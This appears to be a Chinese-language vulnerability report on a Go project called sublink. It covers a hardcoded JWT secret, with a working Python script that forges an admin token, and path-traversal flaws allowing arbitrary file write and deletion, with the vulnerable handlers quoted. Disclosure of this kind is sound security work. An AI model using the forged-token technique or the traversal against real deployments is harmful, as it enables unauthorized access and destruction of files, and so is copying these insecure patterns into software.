# 漏洞 1: jwt-secret 硬编码

middlewares/jwt.go 文件中

// line 12
var Secret = []byte("sublink") // 秘钥

此处将 jwt 密钥硬编码至代码文件中,使任意攻击者可利用此密钥构造出恶意 token 实现鉴权绕过

POC:

import jwt
import time
secret = "sublink"
def generate_jwt(username):
    payload = {
        'username': username,
        'ExpiresAt': time.time() + 3600,  # Token expires in 1 hour
        'IssuedAt': time.time(),  # Current time as issued at
        'Subject': username
    }
    token = jwt.encode(payload, secret, algorithm='HS256')
    return token
print(generate_jwt("admin"))
// eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiRXhwaXJlc0F0IjoxNzQ4MzYxNjQzLjkyMzIwODcsIklzc3VlZEF0IjoxNzQ4MzU4MDQzLjkyMzIwODcsIlN1YmplY3QiOiJhZG1pbiJ9.SiTs7M0QO8y-zrGwnnLpkhY6bxBH8DXKTK_wLpWpldg

利用效果:

image.png

# 漏洞 2:任意文件写入

api/template.go AddTemp 方法

func AddTemp(c *gin.Context) {
	filename := c.PostForm("filename")
	text := c.PostForm("text")
	if filename == "" || text == "" {
		c.JSON(400, gin.H{
			"msg": "文件名或者类型或内容不能为空",
		})
		return
	}
	// 检查文件是否存在
	_, err := os.ReadFile("./template/" + filename)
	if err == nil {
		log.Println(err)
		c.JSON(400, gin.H{
			"msg": "文件已存在",
		})
		return
	}
	// 检查目录是否创建
	_, err = os.Stat("./template/")
	if err != nil {
		if os.IsNotExist(err) {
			os.Mkdir("./template/", os.ModePerm)
		}
	}
	err = os.WriteFile("./template/"+filename, []byte(text), 0666)
	if err != nil {
		log.Println(err)
		c.JSON(400, gin.H{
			"msg": "上传失败",
		})
		return
	}
	c.JSON(200, gin.H{
		"code": "00000",
		"msg":  "上传成功",
	})
}

可以发现允许上传任意文件 + 可以路径穿越

构造请求包(本地测试)

image.png

image.png

392cceaf168780c8641939a1882588e8.png

成功上传

# 漏洞 3:任意文件删除

与上面相似:

func DelTemp(c *gin.Context) {
	filename := c.PostForm("filename")
	_, err := os.ReadFile("./template/" + filename)
	if err != nil {
		log.Println(err)
		c.JSON(400, gin.H{
			"msg": "文件不存在",
		})
		return
	}
	err = os.Remove("./template/" + filename)
	if err != nil {
		log.Println(err)
		c.JSON(400, gin.H{
			"msg": "删除失败",
		})
		return
	}
	c.JSON(200, gin.H{
		"code": "00000",
		"msg":  "删除成功",
	})
}

使用路径穿越可以删除主机上任意文件